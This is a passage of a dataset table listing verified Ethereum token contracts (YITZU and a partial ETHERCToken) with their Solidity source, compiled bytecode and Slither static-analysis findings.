address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x16fe93b67c9e302498f2045dc503d31ab58781e8
|
/**
*Submitted for verification at Etherscan.io on 2021-07-18
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
/**
* @title Roles
* @author Francisco Giordano (@frangio)
* @dev Library for managing addresses assigned to a Role.
* See RBAC.sol for example usage.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr), "Illegal user rights");
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
library RBAC
{
using Roles for Roles.Role;
struct RolesManager
{
mapping (string => Roles.Role) userRoles;
address owner;
bool isInit;
}
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function initialize(RolesManager storage rolesManager, address _owner) internal
{
rolesManager.owner = _owner;
rolesManager.userRoles["admin"].add(msg.sender);
rolesManager.userRoles["mint"].add(msg.sender);
addRole(rolesManager, _owner, "admin");
addRole(rolesManager, _owner, "mint");
addRole(rolesManager, _owner, "burn");
addRole(rolesManager, _owner, "frozen");
addRole(rolesManager, _owner, "pause");
}
modifier onlyAdmin(RolesManager storage rolesManager)
{
require(isAdmin(rolesManager), "Adminable: caller is not the admin");
_;
}
function isOwner(RolesManager storage rolesManager) internal view returns(bool)
{
return (msg.sender == rolesManager.owner);
}
function isAdmin(RolesManager storage rolesManager) internal view returns(bool)
{
return hasRole(rolesManager, msg.sender, "admin") || msg.sender == rolesManager.owner;
}
/**
* @dev reverts if addr does not have role
* @param addr address
* @param roleName the name of the role
* // reverts
*/
function checkRole(RolesManager storage rolesManager, address addr, string memory roleName) internal view
{
rolesManager.userRoles[roleName].check(addr);
}
/**
* @dev determine if addr has role
* @param addr address
* @param roleName the name of the role
* @return bool
*/
function hasRole(RolesManager storage rolesManager, address addr, string memory roleName) internal view returns (bool)
{
return rolesManager.userRoles[roleName].has(addr);
}
/**
* @dev add a role to an address
* @param addr address
* @param roleName the name of the role
*/
function addRole(RolesManager storage rolesManager, address addr, string memory roleName) internal onlyAdmin(rolesManager)
{
rolesManager.userRoles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
/**
* @dev remove a role from an address
* @param addr address
* @param roleName the name of the role
*/
function removeRole(RolesManager storage rolesManager, address addr, string memory roleName) internal onlyAdmin(rolesManager)
{
rolesManager.userRoles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
function setOwner(RolesManager storage rolesManager, address newOwner) private onlyAdmin(rolesManager) {
address oldOwner = rolesManager.owner;
rolesManager.owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
/** set owner null
*/
function renounceOwnership(RolesManager storage rolesManager) internal
{
setOwner(rolesManager, address(0));
}
/* transfer owner */
function transferOwnership(RolesManager storage rolesManager, address newOwner) internal
{
require(newOwner != address(0), "Ownable: new owner is the zero address");
setOwner(rolesManager, newOwner);
}
}
library BasicTokenLib {
using RBAC for RBAC.RolesManager;
event Mint(address indexed to, uint256 amount);
event MintFinished(address account);
event MintResumed(address account);
event Burn(address indexed _who, uint256 _value);
event Paused(address account);
event Unpaused(address account);
event FrozenAccount(address indexed addr);
event UnrozenAccount(address indexed addr);
event DepositEth(address indexed _buyer, uint256 _ethWei, uint256 _tokens);
event WithdrawEth(address indexed _buyer, uint256 _ethWei);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event DappTransfer(address indexed from, address indexed _to, uint256 gamerChips, uint256 dappChips);
struct Xrc20Token {
string _name;
string _symbol;
uint8 _decimals;
string tokenURI;
string iconURI;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address=>bool) frozenAccounts;
uint256 _totalSupply;
bool paused;
bool mintFinished;
RBAC.RolesManager rolesManager;
}
function initialize(
Xrc20Token storage token,
address _owner,
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _initialBalance,
string memory _tokenURI,
string memory _iconURI
) internal
{
require(_owner != address(0), "the owner cannot be null");
token.rolesManager.initialize(_owner);
token.paused = false;
token._name = _name;
token._symbol = _symbol;
token._decimals = _decimals;
token._totalSupply = 0;
token.tokenURI = _tokenURI;
token.iconURI = _iconURI;
token.mintFinished = false;
mint(token, _owner, _initialBalance);
}
function name(Xrc20Token storage token) internal view returns (string memory) {
return token._name;
}
function updateName(Xrc20Token storage token, string memory _name) internal onlyAdmin(token) returns(bool)
{
token._name = _name;
return true;
}
function updateSymbol(Xrc20Token storage token, string memory _symbol) internal onlyAdmin(token) returns(bool)
{
token._symbol = _symbol;
return true;
}
function symbol(Xrc20Token storage token) internal view returns (string memory) {
return token._symbol;
}
function decimals(Xrc20Token storage token) internal view returns (uint8) {
return token._decimals;
}
/* 查询总发行量 */
function totalSupply(Xrc20Token storage token) internal view returns (uint256)
{
return token._totalSupply;
}
/* 查询用户余额 */
function balanceOf(Xrc20Token storage token, address _owner) internal view returns (uint256)
{
return token.balances[_owner];
}
function tokenURI(Xrc20Token storage token) internal view returns (string memory)
{
return token.tokenURI;
}
function updateTokenURI(Xrc20Token storage token, string memory _tokenURI) internal onlyAdmin(token) returns(bool)
{
token.tokenURI = _tokenURI;
return true;
}
function iconURI(Xrc20Token storage token) internal view returns (string memory)
{
return token.iconURI;
}
function updateIconURI(Xrc20Token storage token, string memory _iconURI) internal onlyAdmin(token) returns(bool)
{
token.iconURI = _iconURI;
return true;
}
modifier onlyOwner(Xrc20Token storage token)
{
require (token.rolesManager.isOwner(), "Ownable: caller is not the owner");
_;
}
modifier onlyRole(Xrc20Token storage token, string memory roleName) {
token.rolesManager.checkRole(msg.sender, roleName);
_;
}
modifier onlyAdmin(Xrc20Token storage token)
{
require(token.rolesManager.isAdmin(), "Adminable: caller is not the admin");
_;
}
modifier hasEnoughTokens(Xrc20Token storage token, address addr, uint256 amount)
{
require (token.balances[addr] >= amount, "the sender hasn't enough tokens");
_;
}
modifier whenNotPaused(Xrc20Token storage token)
{
require(!token.paused, "the token contract has been paused!");
_;
}
modifier whenPaused(Xrc20Token storage token)
{
require(token.paused, "the token contract hasen't paused!");
_;
}
modifier onlyUnfrozen(Xrc20Token storage token, address account)
{
require(!token.frozenAccounts[account], "account has been frozened!");
_;
}
modifier canMint(Xrc20Token storage token) {
require(!token.mintFinished, "the minting already finished");
_;
}
function addRole(Xrc20Token storage token, address addr, string memory roleName) internal
{
return token.rolesManager.addRole(addr, roleName);
}
function removeRole(Xrc20Token storage token, address addr, string memory roleName) internal
{
return token.rolesManager.removeRole(addr, roleName);
}
function renounceOwnership(Xrc20Token storage token) internal
{
token.rolesManager.renounceOwnership();
}
function transferOwnership(Xrc20Token storage token, address newOwner) internal
{
return token.rolesManager.transferOwnership(newOwner);
}
function pause(Xrc20Token storage token) internal onlyRole(token, "pause")
{
token.paused = true;
emit Paused(msg.sender);
}
function unpause(Xrc20Token storage token) internal onlyRole(token, "pause")
{
token.paused = false;
emit Unpaused(msg.sender);
}
function mint(Xrc20Token storage token, address _to, uint256 _amount) internal onlyRole(token, "mint") canMint(token) returns (bool)
{
uint256 _mintAmount = _amount * (10 ** uint256(token._decimals));
token._totalSupply = token._totalSupply + _mintAmount;
token.balances[_to] = token.balances[_to] + _mintAmount;
emit Mint(_to, _amount);
return true;
}
function stopMint(Xrc20Token storage token) internal onlyRole(token, "mint") canMint(token) returns (bool) {
token.mintFinished = true;
emit MintFinished(msg.sender);
return true;
}
function resumeMint(Xrc20Token storage token) internal onlyRole(token, "mint") canMint(token) returns (bool) {
token.mintFinished = false;
emit MintResumed(msg.sender);
return true;
}
function burn(Xrc20Token storage token, address _who, uint256 _value) internal onlyRole(token, "burn") returns (bool)
{
if(_value > token.balances[_who])
{
_value = token.balances[_who];
}
token.balances[_who] = token.balances[_who] - _value;
token._totalSupply = token._totalSupply - _value;
emit Burn(_who, _value);
return true;
}
function frozenAccount(Xrc20Token storage token, address addr) internal onlyRole(token, "frozen")
{
require(addr != address(0), "the frozen account cannot be null");
token.frozenAccounts[addr] = true;
emit FrozenAccount(addr);
}
function unfrozenAccount(Xrc20Token storage token, address addr) internal onlyRole(token, "frozen")
{
require(addr != address(0), "the frozen account cannot be null");
token.frozenAccounts[addr] = false;
emit UnrozenAccount(addr);
}
function allowance(Xrc20Token storage token, address _owner, address _spender) internal view returns (uint256)
{
return token._allowances[_owner][_spender];
}
function approve(Xrc20Token storage token, address spender, uint256 amount) internal returns (bool) {
_approve(token, msg.sender, spender, amount);
return true;
}
function _approve(
Xrc20Token storage token,
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
token._allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transfer(Xrc20Token storage token, address recipient, uint256 amount) internal returns (bool) {
_transfer(token, msg.sender, recipient, amount);
return true;
}
function transferFrom(
Xrc20Token storage token,
address sender,
address recipient,
uint256 amount
) internal returns (bool)
{
uint256 currentAllowance = token._allowances[sender][msg.sender];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(token, sender, msg.sender, currentAllowance - amount);
}
_transfer(token, sender, recipient, amount);
return true;
}
function increaseAllowance(Xrc20Token storage token, address spender, uint256 addedValue) internal returns (bool) {
_approve(token, msg.sender, spender, token._allowances[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(Xrc20Token storage token, address spender, uint256 subtractedValue) internal returns (bool) {
uint256 currentAllowance = token._allowances[msg.sender][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(token, msg.sender, spender, currentAllowance - subtractedValue);
}
return true;
}
function transferForeignEth(Xrc20Token storage token, uint256 ethWei) internal onlyOwner(token) returns(bool)
{
require(address(this).balance >= ethWei, "the contract hasn't engogh eth to transfer");
payable(address(msg.sender)).transfer(ethWei);
emit WithdrawEth(msg.sender, ethWei);
return true;
}
function _transfer(
Xrc20Token storage token,
address sender,
address recipient,
uint256 amount
) private whenNotPaused(token) onlyUnfrozen(token, sender) onlyUnfrozen(token, recipient) hasEnoughTokens(token, sender, amount) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = token.balances[sender];
unchecked {
token.balances[sender] = senderBalance - amount;
}
token.balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
}
contract YITZU {
BasicTokenLib.Xrc20Token private xrc20Token;
using BasicTokenLib for BasicTokenLib.Xrc20Token;
constructor(){
xrc20Token.initialize(0x5DB357308BB38d74093272f9F8F2A2F52A66374D, "YITZU", "YZU", 18, 1000000000000000, "", "");
xrc20Token.mint(msg.sender, 1000000000);
}
receive() external virtual payable { }
fallback() external virtual payable { }
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return xrc20Token.name();
}
function symbol() public view virtual returns (string memory) {
return xrc20Token.symbol();
}
function decimals() public view virtual returns (uint8) {
return xrc20Token.decimals();
}
function totalSupply() public view virtual returns (uint256) {
return xrc20Token.totalSupply();
}
function balanceOf(address account) public view virtual returns (uint256) {
return xrc20Token.balanceOf(account);
}
function burn(address _who, uint256 _value) public virtual returns (bool)
{
return xrc20Token.burn(_who, _value);
}
function transfer(address recipient, uint256 amount) public virtual returns (bool) {
return xrc20Token.transfer(recipient, amount);
}
function allowance(address owner, address spender) public view virtual returns (uint256) {
return xrc20Token.allowance(owner, spender);
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
return xrc20Token.approve(spender, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual returns (bool) {
return xrc20Token.transferFrom(sender, recipient, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
return xrc20Token.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
return xrc20Token.decreaseAllowance(spender, subtractedValue);
}
}
|
0x6080604052600436106100a55760003560e01c806370a082311161006157806370a082311461018a57806395d89b41146101aa5780639dc29fac146101bf578063a457c2d7146101df578063a9059cbb146101ff578063dd62ed3e1461021f57005b806306fdde03146100ae578063095ea7b3146100d957806318160ddd1461010957806323b872dd14610128578063313ce56714610148578063395093511461016a57005b366100ac57005b005b3480156100ba57600080fd5b506100c361023f565b6040516100d091906111ea565b60405180910390f35b3480156100e557600080fd5b506100f96100f4366004611154565b610250565b60405190151581526020016100d0565b34801561011557600080fd5b506008545b6040519081526020016100d0565b34801561013457600080fd5b506100f9610143366004611118565b610266565b34801561015457600080fd5b5060025460405160ff90911681526020016100d0565b34801561017657600080fd5b506100f9610185366004611154565b61027c565b34801561019657600080fd5b5061011a6101a53660046110ca565b610289565b3480156101b657600080fd5b506100c36102a7565b3480156101cb57600080fd5b506100f96101da366004611154565b6102b3565b3480156101eb57600080fd5b506100f96101fa366004611154565b6102c0565b34801561020b57600080fd5b506100f961021a366004611154565b6102cd565b34801561022b57600080fd5b5061011a61023a3660046110e5565b6102da565b606061024b600061074d565b905090565b600061025d8184846107e3565b90505b92915050565b6000610274818585856107fb565b949350505050565b600061025d8184846108a8565b6001600160a01b038116600090815260056020526040812054610260565b606061024b60006108e9565b600061025d8184846108fa565b600061025d818484610a08565b600061025d818484610aa5565b6001600160a01b03808316600090815260066020908152604080832093851683529290529081205461025d565b6001600160a01b0387166103625760405162461bcd60e51b815260206004820152601860248201527f746865206f776e65722063616e6e6f74206265206e756c6c000000000000000060448201526064015b60405180910390fd5b61036f600a890188610559565b60098801805460ff19169055855161038d9089906020890190611015565b5084516103a39060018a01906020880190611015565b5060028801805460ff191660ff86161790556000600889015581516103d19060038a01906020850190611015565b5080516103e79060048a01906020840190611015565b5060098801805461ff001916905561040088888561040b565b505050505050505050565b6040805180820190915260048152631b5a5b9d60e21b60208201526000908490610439600a8301338361068d565b60098601548690610100900460ff16156104955760405162461bcd60e51b815260206004820152601c60248201527f746865206d696e74696e6720616c72656164792066696e6973686564000000006044820152606401610359565b60028701546000906104ab9060ff16600a611258565b6104b59087611300565b90508088600801546104c791906111fd565b60088901556001600160a01b03871660009081526005890160205260409020546104f29082906111fd565b6001600160a01b038816600081815260058b016020526040908190209290925590517f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885906105439089815260200190565b60405180910390a2506001979650505050505050565b6001820180546001600160a01b0319166001600160a01b0383161790556040516430b236b4b760d91b81526105a590339084906005015b908152604051908190036020019020906106bd565b604051631b5a5b9d60e21b81526105c29033908490600401610590565b6105ea82826040518060400160405280600581526020016430b236b4b760d91b815250610ab3565b6106118282604051806040016040528060048152602001631b5a5b9d60e21b815250610ab3565b610638828260405180604001604052806004815260200163313ab93760e11b815250610ab3565b610661828260405180604001604052806006815260200165333937bd32b760d11b815250610ab3565b610689828260405180604001604052806005815260200164706175736560d81b815250610ab3565b5050565b6106b88284600001836040516106a391906111aa565b908152604051908190036020019020906106e2565b505050565b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b6106ec828261072e565b6106895760405162461bcd60e51b8152602060048201526013602482015272496c6c6567616c20757365722072696768747360681b6044820152606401610359565b6001600160a01b03166000908152602091909152604090205460ff1690565b606081600001805461075e90611366565b80601f016020809104026020016040519081016040528092919081815260200182805461078a90611366565b80156107d75780601f106107ac576101008083540402835291602001916107d7565b820191906000526020600020905b8154815290600101906020018083116107ba57829003601f168201915b50505050509050919050565b60006107f184338585610b69565b5060019392505050565b6001600160a01b03831660009081526006850160209081526040808320338452909152812054828110156108825760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610359565b610890868633868503610b69565b61089c86868686610c90565b50600195945050505050565b33600081815260068501602090815260408083206001600160a01b038716845290915281205490916107f19186919086906108e49087906111fd565b610b69565b606081600101805461075e90611366565b604080518082019091526004815263313ab93760e11b60208201526000908490610928600a8301338361068d565b6001600160a01b0385166000908152600587016020526040902054841115610968576001600160a01b038516600090815260058701602052604090205493505b6001600160a01b038516600090815260058701602052604090205461098e90859061131f565b6001600160a01b038616600090815260058801602052604090205560088601546109b990859061131f565b60088701556040518481526001600160a01b038616907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59060200160405180910390a250600195945050505050565b33600090815260068401602090815260408083206001600160a01b038616845290915281205482811015610a8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610359565b610a9a853386868503610b69565b506001949350505050565b60006107f184338585610c90565b82610abd81610fa5565b610b145760405162461bcd60e51b815260206004820152602260248201527f41646d696e61626c653a2063616c6c6572206973206e6f74207468652061646d60448201526134b760f11b6064820152608401610359565b610b2a83856000018460405161059091906111aa565b7fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b7004898383604051610b5b9291906111c6565b60405180910390a150505050565b6001600160a01b038316610bcb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610359565b6001600160a01b038216610c2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610359565b6001600160a01b03838116600081815260068701602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050565b6009840154849060ff1615610cf35760405162461bcd60e51b815260206004820152602360248201527f74686520746f6b656e20636f6e747261637420686173206265656e207061757360448201526265642160e81b6064820152608401610359565b6001600160a01b03841660009081526007860160205260409020548590859060ff1615610d625760405162461bcd60e51b815260206004820152601a60248201527f6163636f756e7420686173206265656e2066726f7a656e6564210000000000006044820152606401610359565b6001600160a01b03851660009081526007880160205260409020548790869060ff1615610dd15760405162461bcd60e51b815260206004820152601a60248201527f6163636f756e7420686173206265656e2066726f7a656e6564210000000000006044820152606401610359565b6001600160a01b038816600090815260058a016020526040902054899089908890811115610e415760405162461bcd60e51b815260206004820152601f60248201527f7468652073656e646572206861736e277420656e6f75676820746f6b656e73006044820152606401610359565b6001600160a01b038b16610ea55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610359565b6001600160a01b038a16610f075760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610359565b6001600160a01b03808c16600090815260058e01602052604080822080548d8103909155928d168252812080548c9290610f429084906111fd565b925050819055508a6001600160a01b03168c6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8c604051610f8e91815260200190565b60405180910390a350505050505050505050505050565b6000610fcf82336040518060400160405280600581526020016430b236b4b760d91b815250610fe8565b80610260575050600101546001600160a01b0316331490565b600061027483856000018460405161100091906111aa565b9081526040519081900360200190209061072e565b82805461102190611366565b90600052602060002090601f0160209004810192826110435760008555611089565b82601f1061105c57805160ff1916838001178555611089565b82800160010185558215611089579182015b8281111561108957825182559160200191906001019061106e565b50611095929150611099565b5090565b5b80821115611095576000815560010161109a565b80356001600160a01b03811681146110c557600080fd5b919050565b6000602082840312156110dc57600080fd5b61025d826110ae565b600080604083850312156110f857600080fd5b611101836110ae565b915061110f602084016110ae565b90509250929050565b60008060006060848603121561112d57600080fd5b611136846110ae565b9250611144602085016110ae565b9150604084013590509250925092565b6000806040838503121561116757600080fd5b611170836110ae565b946020939093013593505050565b60008151808452611196816020860160208601611336565b601f01601f19169290920160200192915050565b600082516111bc818460208701611336565b9190910192915050565b6001600160a01b03831681526040602082018190526000906102749083018461117e565b60208152600061025d602083018461117e565b60008219821115611210576112106113a1565b500190565b600181815b80851115611250578160001904821115611236576112366113a1565b8085161561124357918102915b93841c939080029061121a565b509250929050565b600061025d838360008261126e57506001610260565b8161127b57506000610260565b8160018114611291576002811461129b576112b7565b6001915050610260565b60ff8411156112ac576112ac6113a1565b50506001821b610260565b5060208310610133831016604e8410600b84101617156112da575081810a610260565b6112e48383611215565b80600019048211156112f8576112f86113a1565b029392505050565b600081600019048311821515161561131a5761131a6113a1565b500290565b600082821015611331576113316113a1565b500390565b60005b83811015611351578181015183820152602001611339565b83811115611360576000848401525b50505050565b600181811c9082168061137a57607f821691505b6020821081141561139b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220572435e935aa23910b856425928597667944cbe80507d4d3a312df3a2bbd69e764736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,300 |
0x0deecb13f4e801bdbf2721875756d44b207ca580
|
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract ETHERCToken is PausableToken {
uint8 public constant decimals = 18;
string public constant name = "ETHERCToken";
string public constant symbol = "EET";
uint256 public constant TOTAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
string public welcome;
address public admin;
event Burn(address indexed burner, uint256 value);
function ETHERCToken() public {
admin = owner;
totalSupply_ = TOTAL_SUPPLY;
balances[owner] = TOTAL_SUPPLY;
Transfer(address(0), msg.sender, TOTAL_SUPPLY);
}
function changeAdmin(address _admin) public onlyOwner {
require(_admin != address(0));
admin = _admin;
}
modifier onlyAdmin() {
require(msg.sender == owner || msg.sender == admin);
_;
}
function changeWelcome(string _welcome) public onlyAdmin {
welcome = _welcome;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public onlyAdmin {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
/**
* @dev Transfer token in batch
* @param _recipients The addresses to transfer to.
* @param _values The amount to be transferred.
*/
